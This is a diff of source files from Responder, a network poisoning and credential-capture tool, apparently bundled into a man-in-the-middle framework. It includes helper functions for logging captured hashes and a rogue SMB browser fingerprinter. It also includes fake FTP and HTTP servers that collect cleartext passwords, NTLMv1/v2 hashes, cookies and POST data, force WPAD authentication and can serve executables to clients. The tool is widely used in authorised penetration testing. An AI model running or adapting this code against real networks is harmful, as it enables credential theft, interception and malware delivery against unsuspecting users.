return False if IsOsX() else True
|
||||
else:
|
||||
return False
|
||||
|
||||
def FindLocalIP(Iface):
|
||||
|
||||
if Iface == 'ALL':
|
||||
return '0.0.0.0'
|
||||
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0')
|
||||
s.connect(("127.0.0.1",9))#RFC 863
|
||||
ret = s.getsockname()[0]
|
||||
s.close()
|
||||
|
||||
return ret
|
||||
|
||||
except socket.error:
|
||||
print color("[!] Error: %s: Interface not found" % Iface, 1)
|
||||
sys.exit(-1)
|
||||
|
||||
# Function used to write captured hashs to a file.
|
||||
def WriteData(outfile, data, user):
|
||||
|
||||
logging.info("[*] Captured Hash: %s" % data)
|
||||
|
||||
if os.path.isfile(outfile) == False:
|
||||
with open(outfile,"w") as outf:
|
||||
outf.write(data)
|
||||
outf.write("\n")
|
||||
outf.close()
|
||||
|
||||
else:
|
||||
with open(outfile,"r") as filestr:
|
||||
if re.search(user.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
return False
|
||||
if re.search(re.escape("$"), user):
|
||||
filestr.close()
|
||||
return False
|
||||
|
||||
with open(outfile,"a") as outf2:
|
||||
outf2.write(data)
|
||||
outf2.write("\n")
|
||||
outf2.close()
|
||||
|
||||
def SaveToDb(result):
|
||||
|
||||
# Creating the DB if it doesn't exist
|
||||
if not os.path.exists(settings.Config.DatabaseFile):
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
|
||||
cursor.commit()
|
||||
cursor.close()
|
||||
|
||||
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
||||
if not k in result:
|
||||
result[k] = ''
|
||||
|
||||
if len(result['user']) < 2:
|
||||
return
|
||||
|
||||
if len(result['cleartext']):
|
||||
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
|
||||
else:
|
||||
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
|
||||
|
||||
timestamp = time.strftime("%d-%m-%Y %H:%M:%S")
|
||||
logfile = os.path.join('./logs/responder', fname)
|
||||
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if count == 0:
|
||||
|
||||
# Write JtR-style hash string to file
|
||||
with open(logfile,"a") as outf:
|
||||
outf.write(result['fullhash'])
|
||||
outf.write("\n")
|
||||
outf.close()
|
||||
|
||||
# Update database
|
||||
cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||
cursor.commit()
|
||||
|
||||
cursor.close()
|
||||
|
||||
# Print output
|
||||
if count == 0 or settings.Config.Verbose:
|
||||
|
||||
if len(result['client']):
|
||||
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
|
||||
if len(result['hostname']):
|
||||
print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))
|
||||
if len(result['user']):
|
||||
print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))
|
||||
|
||||
# Bu order of priority, print cleartext, fullhash, or hash
|
||||
if len(result['cleartext']):
|
||||
print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))
|
||||
elif len(result['fullhash']):
|
||||
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3)))
|
||||
elif len(result['hash']):
|
||||
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3)))
|
||||
|
||||
else:
|
||||
print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user']
|
||||
|
||||
|
||||
def Parse_IPV6_Addr(data):
|
||||
|
||||
if data[len(data)-4:len(data)][1] =="\x1c":
|
||||
return False
|
||||
|
||||
elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
|
||||
return True
|
||||
|
||||
elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
|
||||
return True
|
||||
|
||||
else:
|
||||
return False
|
||||
|
||||
def Decode_Name(nbname):
|
||||
#From http://code.google.com/p/dpkt/ with author's permission.
|
||||
try:
|
||||
from string import printable
|
||||
|
||||
if len(nbname) != 32:
|
||||
return nbname
|
||||
|
||||
l = []
|
||||
for i in range(0, 32, 2):
|
||||
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||
|
||||
return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||
|
||||
except:
|
||||
return "Illegal NetBIOS name"
|
||||
|
||||
def NBT_NS_Role(data):
|
||||
Role = {
|
||||
"\x41\x41\x00":"Workstation/Redirector",
|
||||
"\x42\x4c\x00":"Domain Master Browser",
|
||||
"\x42\x4d\x00":"Domain Controller",
|
||||
"\x42\x4e\x00":"Local Master Browser",
|
||||
"\x42\x4f\x00":"Browser Election",
|
||||
"\x43\x41\x00":"File Server",
|
||||
"\x41\x42\x00":"Browser",
|
||||
}
|
||||
|
||||
return Role[data] if data in Role else "Service not known"
|
||||
|
||||
def banner():
|
||||
|
||||
banner = "\n".join([
|
||||
' __',
|
||||
' .----.-----.-----.-----.-----.-----.--| |.-----.----.',
|
||||
' | _| -__|__ --| _ | _ | | _ || -__| _|',
|
||||
' |__| |_____|_____| __|_____|__|__|_____||_____|__|',
|
||||
' |__|'
|
||||
])
|
||||
|
||||
print banner
|
||||
print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__
|
||||
print ""
|
||||
print " Original work by Laurent Gaffie (lgaffie@trustwave.com)"
|
||||
print " To kill this script hit CRTL-C"
|
||||
print ""
|
||||
|
||||
def StartupMessage():
|
||||
enabled = color('[ON]', 2, 1)
|
||||
disabled = color('[OFF]', 1, 1)
|
||||
|
||||
print ""
|
||||
print color("[+] ", 2, 1) + "Poisoners:"
|
||||
print ' %-27s' % "LLMNR" + enabled
|
||||
print ' %-27s' % "NBT-NS" + enabled
|
||||
print ' %-27s' % "DNS/MDNS" + enabled
|
||||
print ""
|
||||
|
||||
print color("[+] ", 2, 1) + "Servers:"
|
||||
print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)
|
||||
print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)
|
||||
print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)
|
||||
print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)
|
||||
print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)
|
||||
print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)
|
||||
print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled)
|
||||
print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled)
|
||||
print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled)
|
||||
print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
|
||||
print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
|
||||
print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)
|
||||
print ""
|
||||
|
||||
print color("[+] ", 2, 1) + "HTTP Options:"
|
||||
print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled)
|
||||
print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled)
|
||||
print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled)
|
||||
print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled)
|
||||
#print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script
|
||||
print ""
|
||||
|
||||
print color("[+] ", 2, 1) + "Poisoning Options:"
|
||||
print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled)
|
||||
print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)
|
||||
print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)
|
||||
print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)
|
||||
print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)
|
||||
print ""
|
||||
|
||||
print color("[+] ", 2, 1) + "Generic Options:"
|
||||
print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)
|
||||
print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)
|
||||
print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)
|
||||
|
||||
if settings.Config.Upstream_Proxy:
|
||||
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
|
||||
|
||||
if len(settings.Config.RespondTo):
|
||||
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
|
||||
|
||||
if len(settings.Config.RespondToName):
|
||||
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
|
||||
|
||||
if len(settings.Config.DontRespondTo):
|
||||
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
|
||||
|
||||
if len(settings.Config.DontRespondToName):
|
||||
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
|
||||
|
||||
print ""
|
||||
print ""
|
||||
|
||||
# Useful for debugging
|
||||
def hexdump(src, l=0x16):
|
||||
res = []
|
||||
sep = '.'
|
||||
src = str(src)
|
||||
|
||||
for i in range(0, len(src), l):
|
||||
s = src[i:i+l]
|
||||
hexa = ''
|
||||
|
||||
for h in range(0,len(s)):
|
||||
if h == l/2:
|
||||
hexa += ' '
|
||||
h = s[h]
|
||||
if not isinstance(h, int):
|
||||
h = ord(h)
|
||||
h = hex(h).replace('0x','')
|
||||
if len(h) == 1:
|
||||
h = '0'+h
|
||||
hexa += h + ' '
|
||||
|
||||
hexa = hexa.strip(' ')
|
||||
text = ''
|
||||
|
||||
for c in s:
|
||||
if not isinstance(c, int):
|
||||
c = ord(c)
|
||||
|
||||
if 0x20 <= c < 0x7F:
|
||||
text += chr(c)
|
||||
else:
|
||||
text += sep
|
||||
|
||||
res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text))
|
||||
|
||||
return '\n'.join(res)
|
|
@ -1,13 +0,0 @@
|
|||
Originally, sergio-proxy was a standalone implementation of a
|
||||
transparent proxy using the Twisted networking framework
|
||||
for Python. However, sslstrip uses almost *exactly* the
|
||||
same interception method, so I decided to use sslstrip's
|
||||
more mature libraries and try to provide a simple plugin
|
||||
interface to grab the data.
|
||||
|
||||
The only file that has been modified from sslstrip is the
|
||||
ServerConnection.py file, from which we can hook at certain
|
||||
important points during the intercept.
|
||||
|
||||
Copyright 2011, Ben Schmidt
|
||||
Released under the GPLv3
|
205
core/servers/Browser.py
Normal file
205
core/servers/Browser.py
Normal file
|
@ -0,0 +1,205 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import socket
|
||||
import struct
|
||||
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
|
||||
from SocketServer import BaseRequestHandler
|
||||
from core.utils import *
|
||||
|
||||
def WorkstationFingerPrint(data):
|
||||
Role = {
|
||||
"\x04\x00" :"Windows 95",
|
||||
"\x04\x10" :"Windows 98",
|
||||
"\x04\x90" :"Windows ME",
|
||||
"\x05\x00" :"Windows 2000",
|
||||
"\x05\x00" :"Windows XP",
|
||||
"\x05\x02" :"Windows 2003",
|
||||
"\x06\x00" :"Windows Vista/Server 2008",
|
||||
"\x06\x01" :"Windows 7/Server 2008R2",
|
||||
}
|
||||
|
||||
return Role[data] if data in Role else "Unknown"
|
||||
|
||||
def RequestType(data):
|
||||
Type = {
|
||||
"\x01": 'Host Announcement',
|
||||
"\x02": 'Request Announcement',
|
||||
"\x08": 'Browser Election',
|
||||
"\x09": 'Get Backup List Request',
|
||||
"\x0a": 'Get Backup List Response',
|
||||
"\x0b": 'Become Backup Browser',
|
||||
"\x0c": 'Domain/Workgroup Announcement',
|
||||
"\x0d": 'Master Announcement',
|
||||
"\x0e": 'Reset Browser State Announcement',
|
||||
"\x0f": 'Local Master Announcement',
|
||||
}
|
||||
|
||||
return Type[data] if data in Type else "Unknown"
|
||||
|
||||
def PrintServerName(data, entries):
|
||||
if entries > 0:
|
||||
|
||||
entrieslen = 26*entries
|
||||
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
|
||||
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
|
||||
|
||||
l = []
|
||||
for x in ServerName:
|
||||
FP = WorkstationFingerPrint(x[16:18])
|
||||
Name = x[:16].replace('\x00', '')
|
||||
|
||||
if FP:
|
||||
l.append(Name + ' (%s)' % FP)
|
||||
else:
|
||||
l.append(Name)
|
||||
|
||||
return l
|
||||
|
||||
return None
|
||||
|
||||
def ParsePacket(Payload):
|
||||
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
|
||||
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
|
||||
|
||||
if StatusCode == "\x00\x00":
|
||||
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
|
||||
return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
|
||||
|
||||
else:
|
||||
return None
|
||||
|
||||
def RAPThisDomain(Client,Domain):
|
||||
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
|
||||
if PDC is not None:
|
||||
print text("[LANMAN] Detected Domains: %s" % ', '.join(PDC))
|
||||
|
||||
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
|
||||
if SQL is not None:
|
||||
print text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL)))
|
||||
|
||||
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
|
||||
if WKST is not None:
|
||||
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
|
||||
|
||||
def RapFinger(Host, Domain, Type):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((Host,445))
|
||||
s.settimeout(0.3)
|
||||
|
||||
Header = SMBHeader(cmd="\x72",mid="\x01\x00")
|
||||
Body = SMBNegoData()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||
|
||||
s.send(Buffer)
|
||||
data = s.recv(1024)
|
||||
|
||||
# Session Setup AndX Request, Anonymous.
|
||||
if data[8:10] == "\x72\x00":
|
||||
Header = SMBHeader(cmd="\x73",mid="\x02\x00")
|
||||
Body = SMBSessionData()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||
|
||||
s.send(Buffer)
|
||||
data = s.recv(1024)
|
||||
|
||||
# Tree Connect IPC$.
|
||||
if data[8:10] == "\x73\x00":
|
||||
Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00")
|
||||
Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||
|
||||
s.send(Buffer)
|
||||
data = s.recv(1024)
|
||||
|
||||
# Rap ServerEnum.
|
||||
if data[8:10] == "\x75\x00":
|
||||
Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00")
|
||||
Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||
|
||||
s.send(Buffer)
|
||||
data = s.recv(64736)
|
||||
|
||||
# Rap ServerEnum, Get answer and return what we're looking for.
|
||||
if data[8:10] == "\x25\x00":
|
||||
s.close()
|
||||
return ParsePacket(data)
|
||||
except:
|
||||
pass
|
||||
|
||||
def BecomeBackup(data,Client):
|
||||
try:
|
||||
DataOffset = struct.unpack('<H',data[139:141])[0]
|
||||
BrowserPacket = data[82+DataOffset:]
|
||||
ReqType = RequestType(BrowserPacket[0])
|
||||
|
||||
if ReqType == "Become Backup Browser":
|
||||
ServerName = BrowserPacket[1:]
|
||||
Domain = Decode_Name(data[49:81])
|
||||
Name = Decode_Name(data[15:47])
|
||||
Role = NBT_NS_Role(data[45:48])
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))
|
||||
print RAPThisDomain(Client, Domain)
|
||||
|
||||
except:
|
||||
pass
|
||||
|
||||
def ParseDatagramNBTNames(data,Client):
|
||||
try:
|
||||
Domain = Decode_Name(data[49:81])
|
||||
Name = Decode_Name(data[15:47])
|
||||
Role1 = NBT_NS_Role(data[45:48])
|
||||
Role2 = NBT_NS_Role(data[79:82])
|
||||
|
||||
|
||||
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
|
||||
print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))
|
||||
print RAPThisDomain(Client, Domain)
|
||||
except:
|
||||
pass
|
||||
|
||||
class Browser(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
request, socket = self.request
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
ParseDatagramNBTNames(request,self.client_address[0])
|
||||
BecomeBackup(request,self.client_address[0])
|
||||
|
||||
BecomeBackup(request,self.client_address[0])
|
||||
|
||||
except Exception:
|
||||
pass
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python2.7
|
||||
#
|
||||
# DNSChef is a highly configurable DNS Proxy for Penetration Testers
|
||||
# and Malware Analysts. Please visit http://thesprawl.org/projects/dnschef/
|
||||
# for the latest version and documentation. Please forward all issues and
|
58
core/servers/FTP.py
Normal file
58
core/servers/FTP.py
Normal file
|
@ -0,0 +1,58 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
|
||||
from core.utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
from core.packets import FTPPacket
|
||||
|
||||
class FTP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(FTPPacket()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].strip()
|
||||
|
||||
Packet = FTPPacket(Code="331",Message="User name okay, need password.")
|
||||
self.request.send(str(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].strip()
|
||||
|
||||
Packet = FTPPacket(Code="530",Message="User not logged in.")
|
||||
self.request.send(str(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'FTP',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': User,
|
||||
'cleartext': Pass,
|
||||
'fullhash': User+':'+Pass
|
||||
})
|
||||
|
||||
else:
|
||||
Packet = FTPPacket(Code="502",Message="Command not implemented.")
|
||||
self.request.send(str(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
pass
|
292
core/servers/HTTP.py
Normal file
292
core/servers/HTTP.py
Normal file
|
@ -0,0 +1,292 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import core.responder.settings
|
||||
|
||||
from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
|
||||
from base64 import b64decode, b64encode
|
||||
from core.responder.utils import *
|
||||
|
||||
from core.responder.packets import NTLM_Challenge
|
||||
from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
|
||||
from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile
|
||||
|
||||
|
||||
# Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPHash(data, client):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
|
||||
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
|
||||
if NthashLen == 24:
|
||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'HTTP',
|
||||
'type': 'NTLMv1',
|
||||
'client': client,
|
||||
'host': HostName,
|
||||
'user': User,
|
||||
'hash': LMHash+":"+NTHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
if NthashLen > 24:
|
||||
NthashLen = 64
|
||||
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
||||
|
||||
SaveToDb({
|
||||
'module': 'HTTP',
|
||||
'type': 'NTLMv2',
|
||||
'client': client,
|
||||
'host': HostName,
|
||||
'user': Domain+'\\'+User,
|
||||
'hash': NTHash[:32]+":"+NTHash[32:],
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
def GrabCookie(data, host):
|
||||
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
|
||||
|
||||
if Cookie:
|
||||
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
||||
if len(Cookie) > 1 and settings.Config.Verbose:
|
||||
print text("[HTTP] Cookie : %s " % Cookie)
|
||||
return Cookie
|
||||
else:
|
||||
return False
|
||||
|
||||
def GrabHost(data, host):
|
||||
Host = re.search('(Host:*.\=*)[^\r\n]*', data)
|
||||
|
||||
if Host:
|
||||
Host = Host.group(0).replace('Host: ', '')
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Host : %s " % color(Host, 3))
|
||||
return Host
|
||||
else:
|
||||
return False
|
||||
|
||||
def WpadCustom(data, client):
|
||||
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
|
||||
if Wpad:
|
||||
Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
else:
|
||||
return False
|
||||
|
||||
def ServeFile(Filename):
|
||||
with open (Filename, "rb") as bk:
|
||||
data = bk.read()
|
||||
bk.close()
|
||||
return data
|
||||
|
||||
def RespondWithFile(client, filename, dlname=None):
|
||||
|
||||
if filename.endswith('.exe'):
|
||||
Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname)
|
||||
else:
|
||||
Buffer = ServeHtmlFile(Payload = ServeFile(filename))
|
||||
|
||||
Buffer.calculate()
|
||||
print text("[HTTP] Sending file %s to %s" % (filename, client))
|
||||
|
||||
return str(Buffer)
|
||||
|
||||
def GrabURL(data, host):
|
||||
GET = re.findall('(?<=GET )[^HTTP]*', data)
|
||||
POST = re.findall('(?<=POST )[^HTTP]*', data)
|
||||
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
|
||||
|
||||
if GET and settings.Config.Verbose:
|
||||
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
|
||||
|
||||
if POST and settings.Config.Verbose:
|
||||
print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5)))
|
||||
if len(''.join(POSTDATA)) > 2:
|
||||
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
|
||||
|
||||
# Handle HTTP packet sequence.
|
||||
def PacketSequence(data, client):
|
||||
NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
|
||||
# Serve the .exe if needed
|
||||
if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)):
|
||||
return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
|
||||
|
||||
# Serve the custom HTML if needed
|
||||
if settings.Config.Serve_Html == True:
|
||||
return RespondWithFile(client, settings.Config.Html_Filename)
|
||||
|
||||
WPAD_Custom = WpadCustom(data, client)
|
||||
|
||||
if NTLM_Auth:
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||
|
||||
if Packet_NTLM == "\x01":
|
||||
GrabURL(data, client)
|
||||
GrabHost(data, client)
|
||||
GrabCookie(data, client)
|
||||
|
||||
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
|
||||
Buffer.calculate()
|
||||
|
||||
Buffer_Ans = IIS_NTLM_Challenge_Ans()
|
||||
Buffer_Ans.calculate(str(Buffer))
|
||||
|
||||
return str(Buffer_Ans)
|
||||
|
||||
if Packet_NTLM == "\x03":
|
||||
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||
ParseHTTPHash(NTLM_Auth, client)
|
||||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||
return WPAD_Custom
|
||||
|
||||
else:
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
||||
elif Basic_Auth:
|
||||
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
||||
|
||||
GrabURL(data, client)
|
||||
GrabHost(data, client)
|
||||
GrabCookie(data, client)
|
||||
|
||||
